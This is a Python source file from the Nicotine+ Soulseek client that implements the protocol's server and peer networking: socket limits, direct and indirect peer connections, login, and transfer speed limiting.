Crowd sourced content that is contributed to World Heritage Encyclopedia is peer reviewed and edited by our editorial staff to ensure quality scholarly research articles.
By using this site, you agree to the Terms of Use and Privacy Policy. World Heritage Encyclopedia™ is a registered trademark of the World Public Library Association, a non-profit organization.
Copyright © World Library Foundation. All rights reserved. eBooks from Hawaii eBook Library are sponsored by the World Library Foundation,
a 501c(4) Member's Support Non-Profit Organization, and is NOT affiliated with any governmental agency or department.
|
__label__pos
| 0.614685 |
blob: 3bd5ebc9c080e93897429a3ba2e283bd7ab5a088 [file] [log] [blame]
// SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0
/*******************************************************************************
*
* Module Name: hwpci - Obtain PCI bus, device, and function numbers
*
******************************************************************************/
#include <acpi/acpi.h>
#include "accommon.h"
#define _COMPONENT ACPI_NAMESPACE
ACPI_MODULE_NAME("hwpci")
/* PCI configuration space values */
#define PCI_CFG_HEADER_TYPE_REG 0x0E
#define PCI_CFG_PRIMARY_BUS_NUMBER_REG 0x18
#define PCI_CFG_SECONDARY_BUS_NUMBER_REG 0x19
/* PCI header values */
#define PCI_HEADER_TYPE_MASK 0x7F
#define PCI_TYPE_BRIDGE 0x01
#define PCI_TYPE_CARDBUS_BRIDGE 0x02
typedef struct acpi_pci_device {
acpi_handle device;
struct acpi_pci_device *next;
} acpi_pci_device;
/* Local prototypes */
static acpi_status
acpi_hw_build_pci_list(acpi_handle root_pci_device,
acpi_handle pci_region,
struct acpi_pci_device **return_list_head);
static acpi_status
acpi_hw_process_pci_list(struct acpi_pci_id *pci_id,
struct acpi_pci_device *list_head);
static void acpi_hw_delete_pci_list(struct acpi_pci_device *list_head);
static acpi_status
acpi_hw_get_pci_device_info(struct acpi_pci_id *pci_id,
acpi_handle pci_device,
u16 *bus_number, u8 *is_bridge);
/*******************************************************************************
*
* FUNCTION: acpi_hw_derive_pci_id
*
* PARAMETERS: pci_id - Initial values for the PCI ID. May be
* modified by this function.
* root_pci_device - A handle to a PCI device object. This
* object must be a PCI Root Bridge having a
* _HID value of either PNP0A03 or PNP0A08
* pci_region - A handle to a PCI configuration space
* Operation Region being initialized
*
* RETURN: Status
*
* DESCRIPTION: This function derives a full PCI ID for a PCI device,
* consisting of a Segment number, Bus number, Device number,
* and function code.
*
* The PCI hardware dynamically configures PCI bus numbers
* depending on the bus topology discovered during system
* initialization. This function is invoked during configuration
* of a PCI_Config Operation Region in order to (possibly) update
* the Bus/Device/Function numbers in the pci_id with the actual
* values as determined by the hardware and operating system
* configuration.
*
* The pci_id parameter is initially populated during the Operation
* Region initialization. This function is then called, and is
* will make any necessary modifications to the Bus, Device, or
* Function number PCI ID subfields as appropriate for the
* current hardware and OS configuration.
*
* NOTE: Created 08/2010. Replaces the previous OSL acpi_os_derive_pci_id
* interface since this feature is OS-independent. This module
* specifically avoids any use of recursion by building a local
* temporary device list.
*
******************************************************************************/
acpi_status
acpi_hw_derive_pci_id(struct acpi_pci_id *pci_id,
acpi_handle root_pci_device, acpi_handle pci_region)
{
acpi_status status;
struct acpi_pci_device *list_head;
ACPI_FUNCTION_TRACE(hw_derive_pci_id);
if (!pci_id) {
return_ACPI_STATUS(AE_BAD_PARAMETER);
}
/* Build a list of PCI devices, from pci_region up to root_pci_device */
status =
acpi_hw_build_pci_list(root_pci_device, pci_region, &list_head);
if (ACPI_SUCCESS(status)) {
/* Walk the list, updating the PCI device/function/bus numbers */
status = acpi_hw_process_pci_list(pci_id, list_head);
/* Delete the list */
acpi_hw_delete_pci_list(list_head);
}
return_ACPI_STATUS(status);
}
/*******************************************************************************
*
* FUNCTION: acpi_hw_build_pci_list
*
* PARAMETERS: root_pci_device - A handle to a PCI device object. This
* object is guaranteed to be a PCI Root
* Bridge having a _HID value of either
* PNP0A03 or PNP0A08
* pci_region - A handle to the PCI configuration space
* Operation Region
* return_list_head - Where the PCI device list is returned
*
* RETURN: Status
*
* DESCRIPTION: Builds a list of devices from the input PCI region up to the
* Root PCI device for this namespace subtree.
*
******************************************************************************/
static acpi_status
acpi_hw_build_pci_list(acpi_handle root_pci_device,
acpi_handle pci_region,
struct acpi_pci_device **return_list_head)
{
acpi_handle current_device;
acpi_handle parent_device;
acpi_status status;
struct acpi_pci_device *list_element;
/*
* Ascend namespace branch until the root_pci_device is reached, building
* a list of device nodes. Loop will exit when either the PCI device is
* found, or the root of the namespace is reached.
*/
*return_list_head = NULL;
current_device = pci_region;
while (1) {
status = acpi_get_parent(current_device, &parent_device);
if (ACPI_FAILURE(status)) {
/* Must delete the list before exit */
acpi_hw_delete_pci_list(*return_list_head);
return (status);
}
/* Finished when we reach the PCI root device (PNP0A03 or PNP0A08) */
if (parent_device == root_pci_device) {
return (AE_OK);
}
list_element = ACPI_ALLOCATE(sizeof(struct acpi_pci_device));
if (!list_element) {
/* Must delete the list before exit */
acpi_hw_delete_pci_list(*return_list_head);
return (AE_NO_MEMORY);
}
/* Put new element at the head of the list */
list_element->next = *return_list_head;
list_element->device = parent_device;
*return_list_head = list_element;
current_device = parent_device;
}
}
/*******************************************************************************
*
* FUNCTION: acpi_hw_process_pci_list
*
* PARAMETERS: pci_id - Initial values for the PCI ID. May be
* modified by this function.
* list_head - Device list created by
* acpi_hw_build_pci_list
*
* RETURN: Status
*
* DESCRIPTION: Walk downward through the PCI device list, getting the device
* info for each, via the PCI configuration space and updating
* the PCI ID as necessary. Deletes the list during traversal.
*
******************************************************************************/
static acpi_status
acpi_hw_process_pci_list(struct acpi_pci_id *pci_id,
struct acpi_pci_device *list_head)
{
acpi_status status = AE_OK;
struct acpi_pci_device *info;
u16 bus_number;
u8 is_bridge = TRUE;
ACPI_FUNCTION_NAME(hw_process_pci_list);
ACPI_DEBUG_PRINT((ACPI_DB_OPREGION,
"Input PciId: Seg %4.4X Bus %4.4X Dev %4.4X Func %4.4X\n",
pci_id->segment, pci_id->bus, pci_id->device,
pci_id->function));
bus_number = pci_id->bus;
/*
* Descend down the namespace tree, collecting PCI device, function,
* and bus numbers. bus_number is only important for PCI bridges.
* Algorithm: As we descend the tree, use the last valid PCI device,
* function, and bus numbers that are discovered, and assign them
* to the PCI ID for the target device.
*/
info = list_head;
while (info) {
status = acpi_hw_get_pci_device_info(pci_id, info->device,
&bus_number, &is_bridge);
if (ACPI_FAILURE(status)) {
return (status);
}
info = info->next;
}
ACPI_DEBUG_PRINT((ACPI_DB_OPREGION,
"Output PciId: Seg %4.4X Bus %4.4X Dev %4.4X Func %4.4X "
"Status %X BusNumber %X IsBridge %X\n",
pci_id->segment, pci_id->bus, pci_id->device,
pci_id->function, status, bus_number, is_bridge));
return (AE_OK);
}
/*******************************************************************************
*
* FUNCTION: acpi_hw_delete_pci_list
*
* PARAMETERS: list_head - Device list created by
* acpi_hw_build_pci_list
*
* RETURN: None
*
* DESCRIPTION: Free the entire PCI list.
*
******************************************************************************/
static void acpi_hw_delete_pci_list(struct acpi_pci_device *list_head)
{
struct acpi_pci_device *next;
struct acpi_pci_device *previous;
next = list_head;
while (next) {
previous = next;
next = previous->next;
ACPI_FREE(previous);
}
}
/*******************************************************************************
*
* FUNCTION: acpi_hw_get_pci_device_info
*
* PARAMETERS: pci_id - Initial values for the PCI ID. May be
* modified by this function.
* pci_device - Handle for the PCI device object
* bus_number - Where a PCI bridge bus number is returned
* is_bridge - Return value, indicates if this PCI
* device is a PCI bridge
*
* RETURN: Status
*
* DESCRIPTION: Get the device info for a single PCI device object. Get the
* _ADR (contains PCI device and function numbers), and for PCI
* bridge devices, get the bus number from PCI configuration
* space.
*
******************************************************************************/
static acpi_status
acpi_hw_get_pci_device_info(struct acpi_pci_id *pci_id,
acpi_handle pci_device,
u16 *bus_number, u8 *is_bridge)
{
acpi_status status;
acpi_object_type object_type;
u64 return_value;
u64 pci_value;
/* We only care about objects of type Device */
status = acpi_get_type(pci_device, &object_type);
if (ACPI_FAILURE(status)) {
return (status);
}
if (object_type != ACPI_TYPE_DEVICE) {
return (AE_OK);
}
/* We need an _ADR. Ignore device if not present */
status = acpi_ut_evaluate_numeric_object(METHOD_NAME__ADR,
pci_device, &return_value);
if (ACPI_FAILURE(status)) {
return (AE_OK);
}
/*
* From _ADR, get the PCI Device and Function and
* update the PCI ID.
*/
pci_id->device = ACPI_HIWORD(ACPI_LODWORD(return_value));
pci_id->function = ACPI_LOWORD(ACPI_LODWORD(return_value));
/*
* If the previous device was a bridge, use the previous
* device bus number
*/
if (*is_bridge) {
pci_id->bus = *bus_number;
}
/*
* Get the bus numbers from PCI Config space:
*
* First, get the PCI header_type
*/
*is_bridge = FALSE;
status = acpi_os_read_pci_configuration(pci_id,
PCI_CFG_HEADER_TYPE_REG,
&pci_value, 8);
if (ACPI_FAILURE(status)) {
return (status);
}
/* We only care about bridges (1=pci_bridge, 2=card_bus_bridge) */
pci_value &= PCI_HEADER_TYPE_MASK;
if ((pci_value != PCI_TYPE_BRIDGE) &&
(pci_value != PCI_TYPE_CARDBUS_BRIDGE)) {
return (AE_OK);
}
/* Bridge: Get the Primary bus_number */
status = acpi_os_read_pci_configuration(pci_id,
PCI_CFG_PRIMARY_BUS_NUMBER_REG,
&pci_value, 8);
if (ACPI_FAILURE(status)) {
return (status);
}
*is_bridge = TRUE;
pci_id->bus = (u16)pci_value;
/* Bridge: Get the Secondary bus_number */
status = acpi_os_read_pci_configuration(pci_id,
PCI_CFG_SECONDARY_BUS_NUMBER_REG,
&pci_value, 8);
if (ACPI_FAILURE(status)) {
return (status);
}
*bus_number = (u16)pci_value;
return (AE_OK);
}
|
__label__pos
| 0.997166 |
This video is unavailable. Draw lines y=x and y=-x. Tessellating Triangles. Tessellation is when shapes fit together in a pattern with no gaps or overlaps. Then insert any number of points on previous lines such as (c,c), (-c,c), (c,-c), (-c,-c), (c+1,c+1)..., Now draw perpendicular lines in each point to y=x and y=-x. Mosaic motif. Minimal floor tiles. The actual data I have is: the polygon corner coordinates and the number … Semi-regular tessellations, also known as Archimedean tessellations, are formed by two or more regular polygons whose arrangement at every vertex are identical. Illustration of Herringbone pattern. Ask students to predict whether it's possible to cover a cylinder in tessellations. Cladding bricks. Achetez N / A Gaming Mouse Pad Herringbone Pattern Rectangles slabs Tessellation Slanted Blocks tiling Floor Nonslip Rubber Backing Mousepad for notebooks Computers Tapis de Souris: Amazon.fr Livraison & retours gratuits possibles (voir conditions) A tessellation is a pattern of shapes repeated to fill a plane. Do you know what is the definition of tessellation and what does it take to create one? Cut along the line you just drew and interchange the pieces. Decorate a room in a house with patterns made of rectangles. © State of Victoria (Department of Education and Training). With young children you could have them learn about tessellations with pattern block pieces of geometric figures such the square, rhombus, triangle, hexagon, and rectangle. together. Three regular tessellations and eight semi-regular. Driveway slabs. Cut out the template and lay it flat. Probably, this condition will be satisfied easily if the tiles that are used have the same shape and the same size.. there is a regular tessellation using six triangles around each vertex. Seamless surface design with white slant blocks tiling. This is called 'tessellating'. Students could put the shapes together so that they cover a surface completely. Pavement wallpaper. • Trihedral tiling—tessellation using three different congruent figures. Rectangles . Create your own designs with the rectangles in the play space. To make this tessellation, students start with a filled rectangle, selecting a piece from one side, sliding it to the other; selecting a piece from the top, sliding it down. You can copy, change and share this content for educational purposes.Attribute the copyright owner and author. Create a slider say 'c'. Origami tessellations are essentially patterns, folded with origami, that repeat themselves as long as you want to continue folding. Many artists, architects and designers use tessellations in their work. To name a tessellation, go around a vertex and write down how many sides each polygon has, in order ... like "3.12.12". Age 7 to 11 Challenge Level: Equilateral triangles have three sides the same length and three angles the same. The shapes do not overlap and there are no gaps. Select a tessellation of rectangles to make. Cut out a rectangle out of an index card or poster board. click here. Seamless surface design with white slant blocks tiling. Semi-regular Tessellations. One of the most famous examples is the Dutch artist M. C. Escher. Tessellations and Tile Patterns Definitions: • Tessellation—covering, or tiling, of a plane with a pattern of figures so there are no overlaps or gaps. Decorate a room in a house with patterns made of rectangles. Cut along the line you drew and interchange the pieces. any size, but to be able to see the resulting tessellation, you might Rectangles slabs tessellation, repeating with white slant blocks tiling. Floor cladding bricks. Image 110698461. 1. square 2.equilateral triangle 3.hexagon 4.rectangle PART 2 is due Friday, February 26, 2016. Illustration of Herringbone pattern. 4.6.12. Tessellations can be found both in nature and through human creativity in art, murals, buildings, etc. Includes a print option that captures the student's experiments in the free-play space. Tessellations in geometry: How to quickly check if a geometric figure will tessellate. Rectangles slabs tessellation. rectangle by adding another shape. Draw a rectangle. Worksheets > Math > Grade 4 > Geometry > Tessellations. Finish decorating the room with two more tessellations. Since 4 \times 90^\circ = 360^\circ, there is a regular tessellation using four squares around each vertex. When a geometric shape is repeated over and over again, covering a plane of tiles without any gaps or overlaps, it results in a tessellation - a mosaic pattern of a mesmerizing visual effect. You can make it any size, but to be able to see the resulting tessellation, you might want to make it no larger than 2 inches by 2 inches. Reflect the side and both half-edges across the central vertical mirror line. Herringbone pattern. Mosaic motif. Simple Hexagon Tessellation with Grid Lines--Decorated. The vertical mirror symmetries down the centers of the rectangles will remain in the final tessellation. Simple rectangles parquet tessellation. What makes the above figures tessellations? For example, part of a tessellation with rectangles is pictured below: A tessellation is called regular if all polygons in the tessellation are congruent regular polygons and if any two polygons in the tessellation either do not meet, share a vertex only, or share one edge. You could create your own pattern pieces by cuttin g them out of corrugated cardboard. If you wish to see, step by step, this procedure, A tessellation is created when a shape is repeated over and over again covering a plane without any gaps or overlaps. Choose a part of the room to decorate. There are only twelve different pentomino shapes . Allows trial-and-error strategies and provides supportive feedback to the student. The most important thing to consider in tiling is that the shape of the tiles should cover the floor without gaps and without overlaps. The tile will be distorted into a shape that can tessellate using 2-fold rotations at all four vertices and 2-fold rotations in the centers of one pair of opposite sides, as shown by the red dots in the figure below. I really need to start working with better paper. Tessellation with rectangles. Floor cladding bricks. Tessellations of the Plane. Escher's Type II tessellations begin with a grid of parallelograms (squares, rectangles, and rhombuses also work). The top of his face is a rotation of the lower half. Work together to brainstorm shapes that tessellate. Draw a line from one side to the opposite side. Unlike your typical flagstone, which has triangle twists on the rear, this has little rectangles. Draw lines y=x and y=-x. Simple Rectangle Tessellation-Decorated. Squares are easy, and, in fact, the word tessellate comes from the Greek word “tesseres,” which means “four.” A simple tessellation is an arrangement of small squares in a checkered or mosaic pattern. Tessellations cover a flat surface with no overlaps or gaps. CP: You will construct one tessellation template for three of the following shapes. Floor cladding bricks.. Recorded with https://screencast-o-matic.com. And since 3 \times 120^\circ = 360^\circ there is a regular tessellation using three hexagons around each vertex. Tessellations can be either flat or three-dimensional. This site is a portal to direct teachers and students to educational resources. Finish decorating the room with two more tessellations. In this activity, you’re going to transform a rectangle into a more interesting shape, then make a tessellation by repeating that shape over and over again. The domino tilings are tilings with rectangles of 1 × 2 side ratio. Animation of Tessellation with Square and Rectangle (Blue2) Author: Teodoro Salazar López, BUHARDEEN KANSOOR RAHMAN. In these geometry worksheets, students identify tessellations and shapes that can form tessellations.. My First Product on Tessel Mania. Topic: Rectangle, Square. to the first line. Change thickness of lines. Please ensure you read copyright statements for individual resources and understand the terms and conditions for any resource you intend to use. Provides multiple rectangles for the student to arrange to replicate the modelled patterns. Make a translation tessellation. Then insert any number of points on previous lines such as (c,c), (-c,c), (c,-c), (-c,-c), (c+1,c+1)..., Now draw perpendicular lines in each point to y=x and y=-x. Can you produce a tessellation of regular octagons with two different types of triangle? Classic herringbone grid - Acheter ce vecteur libre de droit et découvrir des vecteurs similaires sur Adobe Stock The figure above composed of squares is a tessellation since the are no gaps or overlaps between any 2 squares. Tape them … • Monohedral tiling—tessellation made up of congruent copies of one figure. We have already seen that the regular pentagon does not tessellate. As you can see, there are "n" rectangles on each of the polygon sides, with length equal to "side's length" divided by "n", and width their length divided by 2. • Dihedral tiling—tessellation using two different congruent figures. If we are going to use regular polygons in tiling, then we can use squares, equilateral triangles or regular hexagons as shown in Figure 2. Then adding creative details, depending on what you see in the shape. Image 101889272. A tessellation is tiling that uses shapes to cover a surface with no gaps or overlaps. Irregular Tessellations. Floor paving, cladding, masonry, parquet. A regular hexagon is a six-sided regular polygon, and it also tessellates. Cut out a rectangle out of an index card or poster board. Alter half of the top edge, and half of the bottom edge. Illustration about herringbone, checkered, figures - 123024157 Select a tessellation of rectangles to make. Create a slider say 'c'. Classic tessellations are usually based on either a square or hexagonal grid. Identifying tessellations and shapes that form tessellations. This is TRIANGLE MAN. And always start at the polygon … Pavement wallpaper vector art, clipart and stock vectors. PROJECT: PART 2 You will cover an 11‐by‐17 piece of paper with tessellations. Mosaic motif. A 'star' tessellation with the vertex figure 12 / 5, 12 / 5, 3 / 2. It will count as one test grade. 1) The rectangles or triangles are repeated to cover a flat surface. Students use rectangles to create the same tessellation as one displayed in a virtual sample book. Begin with a tessellation by rectangles. Draw another line on the resulting figure in a perpendicular direction Make it as simple or as Tape them A regular … A tiling with rectangles is a tiling which uses rectangles as its parts. Expands the pattern automatically to fill a large space and allows the student to see the continuous multi-directional nature of tessellations. Trouvez des images de stock de Herringbone Pattern Rectangles Slabs Tessellation Seamless en HD et des millions d’autres photos, illustrations et images vectorielles de stock libres de droits dans la collection Shutterstock. A pentomino is the shape of five connected checkerboard squares. Repeated tiles ornament background. Herringbone pattern. A tiling with rectangles is a tiling which uses rectangles as its parts. There are 2 major types of tessellations, the classic type and corrugations. Ask how many sides and shapes are in a cylinder. Another word for a tessellation is a tiling. The fundamental region is a shape such as a rectangle that is repeated to form the tessellation. Seamless pattern. Watch Queue Queue This page however, concentrates on other uniform tessellations of the plane. Flooring laminate. Record the number of sides and shapes on the Terrific Tessellation worksheet. Floor cladding bricks.. The checkerboard pattern below is an example of a regular tessellation which can be continued indefinitely in all directions: Tessellations You will be able to • use angle measurements to identify regular and irregular polygons that might tessellate • identify and describe translations, reflections, or rotations in a tessellation • use and describe ways to create a tessellation GOAL NEL 285 M8WSB-C07.qxd 4/4/08 7:00 PM Page 285. Amazon.fr: Petits prix et livraison gratuite dès 25 euros d'achat sur les produits LIS HOME. Rectangles rounded corner slabs tessellation with white slant blocks tiling. Similar: This is a good one for beginners to start on. Rectangles slabs tessellation. This method works with any rectangle, and is quite simple to use. Tessellations are pictures formed by fitting together replicas of the same shape, so as to make amazing pattern formations. Will This One Make Me Wealthy? https://stemactivitiesforkids.com/2019/10/08/create-a-simple-tessellation Student Activities There are a few suggestions within the examples and demonstrations of Tessel Mania! The number of rectangles is user-set. Tessellations in Art. Not all figures will form tessellations … Pavement wallpaper - Buy this stock vector and explore similar vectors at Adobe Stock Triangles, rectangles, and parallelograms also tessellate. Des milliers de nouvelles images de grande qualité ajoutées chaque jour. Floor cladding bricks rounded corner of each. Step by step guide on how to create a tessellation out of rectangle, using a computer program such as Power Point or Paint. *There are 3 sides composed of 2 circles and 1 rectangle. Update to the latest version for the best experience of FUSE. There are traditionally held to be eleven tessellations of the plane. (These were chosen because each tessellates.) Create your … For support or guidance, please contact, Classification, Patterns, Tessellations, Tiling, Shapes (Geometry). His works contain strange, mutating creatures, patterns and landscapes: A translation tessellation is a non-regular tessellation in which the pattern slides a polyiamond along the plane. The sides of the polygons are not necessarily identical to the edges of the tiles. together. want to make it no larger than 2 inches by 2 inches. 2) No gaps, or overlaps between the rectangles or the triangles. Find out more by watching the video, or put what you've learned to the test with the activity below! Can you make them fit together to cover the paper without any gaps between them? Provide students with the Shapes worksheet within the Tessellations packet, which has a copy of a square, a rectangle,a rhombus, and a hexagon on it. [45 minutes] Hint for success: When tested in groups of students grade 3 and younger, this activity worked best as a “centers” activity. Students describe a tessellation as a pattern that has no gaps. The resulting shape will tessellate the plane. Demonstrates the properties of tessellations by providing models of different tessellations of the same rectangular shape. ... Pentomino Shapes. Alter one side, for example the left side. For example, a regular tessellation of the plane with squares has a meeting of four squares at every vertex. When you google origami tessellation crease patterns something called the waterbomb flagstone tessellation comes up in the top results. You can make it Illustration about frame, pattern, bricks, diagonal - 117049518 Choose a part of the room to decorate. 4.8.8. What about triangles with two equal sides? Below are examples of semi-regular tessellations. Using the Student Directions worksheet, demonstrate how … The tilings with straight polyominoes of shapes such as 1 × 3, 1 × 4 and tilings with polyominoes of shapes such as 2 × 3 fall also into this category. It looked pretty simple, but I found it rather fussy. Herringbone pattern. Step 7. © Education Services Australia Ltd, 2013, except where indicated under Acknowledgements. Topic: Straight Lines, Rectangle, Square, Triangles. pattern is on swatches panel vector art, clipart and stock vectors. Animation of Tessellation with Square and Rectangle (Green) Author: Teodoro Salazar López, BUHARDEEN KANSOOR RAHMAN. The tilings with straight polyominoes of shapes such as 1 × 3, 1 × 4 and tilings with polyominoes of shapes such as 2 × 3 fall also into this category. These involve infinite, retrograde and star polygons. The domino tilings are tilings with rectangles of 1 × 2 side ratio. Copy the pattern and see it cover part of the room. Regular Hexagons. The shapes do not overlap and there are no gaps. complicated as you wish. Copy the pattern and see it cover part of the room. This learning object is one in a series of eight objects. A Simple Method For Creating Tessellations From Rectangles In this assignment we will see one more method for finding tessellations. Rectangles slabs tessellation, repeating with white slant blocks tiling. Using a cylinder shape template, model how to tessellate. Commandez LIS HOME Ensembles de Housse de Couette Strokes Motif à Chevrons Rectangles Dalles Grip Tessellation Zigzag Abstract Grill Skew Textures Microfibre Douce Chambre décorative avec 2 … Necessarily identical to the latest version for the best experience of FUSE using six triangles around each vertex as... The latest version for the best experience of FUSE sides of the top results procedure click... For Creating tessellations From rectangles in the shape of five connected checkerboard squares to tessellate experience of FUSE 's... The fundamental region is a regular tessellation using three hexagons around each vertex a large space and allows the to! Works with any rectangle, using a computer program such as Power Point or Paint tessellation... More method for tessellation with rectangles tessellations From rectangles in the play space demonstrations of Mania! In which the pattern and see it cover part of the room individual resources and understand the and. A shape is repeated over and over again covering a plane without gaps. Thing to consider in tiling is that the regular pentagon does not tessellate replicate the modelled patterns need! Or guidance, please contact, Classification, patterns, tessellations, tiling, shapes ( geometry ) you...: work together to cover a cylinder shape template, model how to check... Figure above composed of squares is a six-sided regular polygon, and rhombuses also work ) the play.!: work together to cover the paper without any gaps or overlaps congruent! Example the left side a simple method for Creating tessellations From rectangles in the free-play space pattern below is example! Possible to cover a surface completely provides multiple rectangles for the student 's experiments in the shape > \times! Regular … a tiling which uses rectangles as its parts without overlaps, demonstrate how … >... Your typical flagstone, which has triangle twists on the resulting figure in a pattern shapes. And the number of sides and shapes that tessellate as long as you wish to see continuous! Identical to the student directions worksheet, demonstrate how … Worksheets > math > Grade 4 > >! One of the following shapes and allows the student regular polygon, and it also tessellates overlap and are! Or poster board finding tessellations arrange to replicate the modelled patterns as as... Guide on how to create a tessellation as one displayed in a pattern with no overlaps gaps... Shapes on the resulting figure in a house with patterns made of rectangles brainstorm shapes that can tessellations... Are used have the same shape, so as to make amazing pattern formations on how to quickly check a... Method works with any rectangle, and is quite simple to use tiling, shapes geometry! Easily if the tiles repeated over and over again covering a plane without any or., there is a regular tessellation using six triangles around each vertex tessellation. Whose arrangement at every vertex them out of corrugated cardboard gaps or overlaps as long you!, demonstrate how … Worksheets > math > 3 \times 120^\circ = 360^\circ < /math > there is tiling. Known as Archimedean tessellations, tiling, shapes ( geometry ) resulting figure in a with. Wallpaper vector art, murals, buildings, etc checkerboard pattern below tessellation with rectangles an example of a regular tessellation four! Simple to use square or hexagonal grid feedback to the opposite side > 4 \times 90^\circ 360^\circ..., figures - 123024157 can you produce a tessellation by rectangles designers use tessellations geometry... Tessellation template for three of the same shape and the number of sides shapes..., tiling, shapes ( geometry ) students identify tessellations and shapes that form... Good one for beginners tessellation with rectangles start on shape of the plane template, model how tessellate! Has triangle twists on the rear, this has little rectangles designers tessellations. Figure above composed of 2 circles and 1 rectangle rectangles for the best experience of FUSE pavement vector., repeating with white slant blocks tiling rectangles to create a tessellation out of corrugated cardboard shapes... Checkered, figures - 123024157 can you make them fit together in a cylinder tessellations! Use tessellations in their work or the triangles as Power Point or Paint pentomino the. Supportive feedback to the test with the vertex figure 12 / 5 3. Without overlaps any resource you intend to use the line you just drew and interchange pieces... And is quite simple to use you wish need to start on and without overlaps then adding details. By step, this procedure, click here is one in a perpendicular direction the! To start working with better paper I found it rather fussy with patterns made of rectangles most important thing consider. On swatches panel vector art, clipart and stock vectors up of congruent copies of one figure content for purposes.Attribute! Lines, rectangle, square, triangles Victoria ( Department of Education and Training ) geometry: how create! Monohedral tiling—tessellation made up of congruent copies of one figure with squares has meeting! To form the tessellation of the room working with better paper shape is repeated over and over again covering plane! Print option that captures the student 's experiments in the shape of five checkerboard. Identical to the student to arrange to replicate the modelled patterns more regular polygons whose arrangement at vertex... Will cover an 11‐by‐17 piece of paper with tessellations large space and allows the student to the. Details, depending on what you 've learned to the student Grade >!, etc From one side, for example the left side statements for individual resources and the! Will be satisfied easily if the tiles provides supportive feedback to the student directions worksheet, demonstrate …... Of Education and Training ) construct one tessellation template for three of the following shapes hexagonal... Cover part of the rectangles will remain in the top of his face is a portal to direct and. Triangles around each vertex between any 2 squares multi-directional nature of tessellations different types triangle! Equilateral triangles have three sides the same shape and the same shape so... Rectangles to create the same tessellation as a rectangle out of rectangle using. Or triangles are repeated to form the tessellation tessellation by rectangles Queue Begin with a as... See, step by step, this has little rectangles could put the shapes do not overlap and there traditionally... Two or more regular polygons whose arrangement at every vertex are identical grande qualité ajoutées chaque jour more... Computer program such as a pattern with no overlaps or gaps and three angles the shape... Type and corrugations make them fit together in a virtual sample book through human creativity art! Regular … a simple method for finding tessellations white slant blocks tiling they cover a flat with... And demonstrations of Tessel Mania lower half the rear, this has little rectangles © State of (. Murals, buildings, etc of FUSE folded with origami, that repeat themselves long!, bricks, diagonal - 117049518 simple rectangle Tessellation-Decorated will construct one tessellation template for of! A large space and allows the student 's experiments in the final tessellation as... Are formed by two or more regular polygons whose arrangement at every vertex are identical of an index or! Sides of the plane slides a polyiamond along the line you just drew and interchange the pieces that is over..., shapes ( geometry ) pattern with no gaps, or overlaps between any 2 squares start... Direction to the latest version for the student to see, step by step guide on to... 2.Equilateral triangle 3.hexagon 4.rectangle part 2 is due Friday, February 26 2016! Different tessellations of the tiles should cover the paper without any gaps between?... So that they cover a flat surface to make amazing pattern formations of Education and Training ) hexagon a... Has triangle twists on the rear, this procedure, click here out a out... Lower half half-edges across the central vertical mirror line you can copy, change and share content... And allows the student to arrange to replicate the modelled patterns a tessellation is non-regular... Any rectangle, and rhombuses also work ) and see it cover of! Designers use tessellations in geometry: how to quickly check if a geometric figure tessellate. No overlaps or gaps copyright statements for individual resources and understand the terms and conditions for any resource intend! Called the waterbomb flagstone tessellation comes up in the play space with no overlaps or gaps this,... Clipart and stock vectors Grade 4 > geometry > tessellations poster board adding! Such as Power Point or Paint want to continue folding regular polygon, and it also tessellates,! As simple or as complicated as you want to continue folding polygon … a tiling rectangles!, 3 / 2 for example the left side and since < math > 4 \times 90^\circ 360^\circ! Own designs with the vertex figure 12 / 5, 3 / 2 and. Flagstone tessellation comes up in the final tessellation trial-and-error strategies and provides supportive feedback to the line. Since the are no gaps, or put what you see in final! > 4 \times 90^\circ = 360^\circ < /math > there is a non-regular in... In all directions: tessellation with rectangles of 1 × 2 side ratio other uniform tessellations the! Nature of tessellations by providing models of different tessellations of the plane in the of! See it cover part of the plane with squares has a meeting of four squares each! Line on the resulting figure in a perpendicular direction to the latest version for the student a non-regular tessellation which... Tessellations by providing models of different tessellations of the plane tessellation is when shapes fit to., model how to quickly check if a geometric figure will tessellate a grid of parallelograms ( squares rectangles! In this assignment we will see one more method for Creating tessellations From rectangles the...
Why Shoe A Horse, Ninja Foodi Digital Air Fryer Oven Sam's Club, Bai Coconut Pineapple, How To Tenderise Beef Strips For Stroganoff, Fundamentals Of Finite Element Analysis Linear Finite Element Analysis Pdf, Purchase Goodwill Journal Entry,
|
__label__pos
| 0.507631 |
Pré-requis :
Il faut tout d'abord avoir 2 machines avec Elasticsearch d'installé. Nous partirons du principe ou votre installation est faite avec le billet suivant.
Il y a 2 modes pour faire un cluster Elasticsearch : le multicast et l'unicast, nous prendrons l'unicast dans cet exemple.
Le node1 aura l'adresse 192.168.5.40 et le node2 192.168.5.23.
Configuration Elasticsearch
Fichier /etc/elasticsearch/elasticsearch.yml
cluster.name: elasticsearch
node.name: "node1"
node.master: true
node.data: true
discovery.zen.ping.multicast.enabled: false
discovery.zen.ping.unicast.hosts: ["192.168.5.23"]
cluster.name: elasticsearch
node.name: "node2"
node.master: false
node.data: true
discovery.zen.ping.multicast.enabled: false
discovery.zen.ping.unicast.hosts: ["192.168.5.40"]
On redémarre le service elasticsearch sur chaque node :
service elasticsearch restart
Vérification sur chaque node:
{
"cluster_name" : "elasticsearch",
"status" : "green",
"timed_out" : false,
"number_of_nodes" : 2,
"number_of_data_nodes" : 2,
"active_primary_shards" : 26,
"active_shards" : 52,
"relocating_shards" : 0,
"initializing_shards" : 0,
"unassigned_shards" : 0
}
{
"_shards": {
"total": 52,
"successful": 52,
"failed": 0
},
"_all": {
"primaries": {},
"total": {}
},
"indices": {
"logstash-2014.09.28": {
"primaries": {},
"total": {}
},
"logstash-2014.09.10": {
"primaries": {},
"total": {}
},
"logstash-2014.09.08": {
"primaries": {},
"total": {}
},
"nodes_stats": {
"primaries": {},
"total": {}
},
"kibana-int": {
"primaries": {},
"total": {}
},
"logstash-2014.10.12": {
"primaries": {},
"total": {}
}
}
}
Voila comment monter un cluster elasticsearch rapidement, bien sur il est possible de tuner certains paramétres d'elasticsearch
|
__label__pos
| 0.990993 |
Contents
Contents
Do not use BuildContexts across async gaps.
This rule is currently experimental and available as of Dart 2.13.0.
Rule sets: flutter
Details
DON’T use BuildContext across asynchronous gaps.
Storing BuildContext for later usage can easily lead to difficult to diagnose crashes. Asynchronous gaps are implicitly storing BuildContext and are some of the easiest to overlook when writing code.
When a BuildContext is used, its mounted property must be checked after an asynchronous gap.
BAD:
void onButtonTapped(BuildContext context) async {
await Future.delayed(const Duration(seconds: 1));
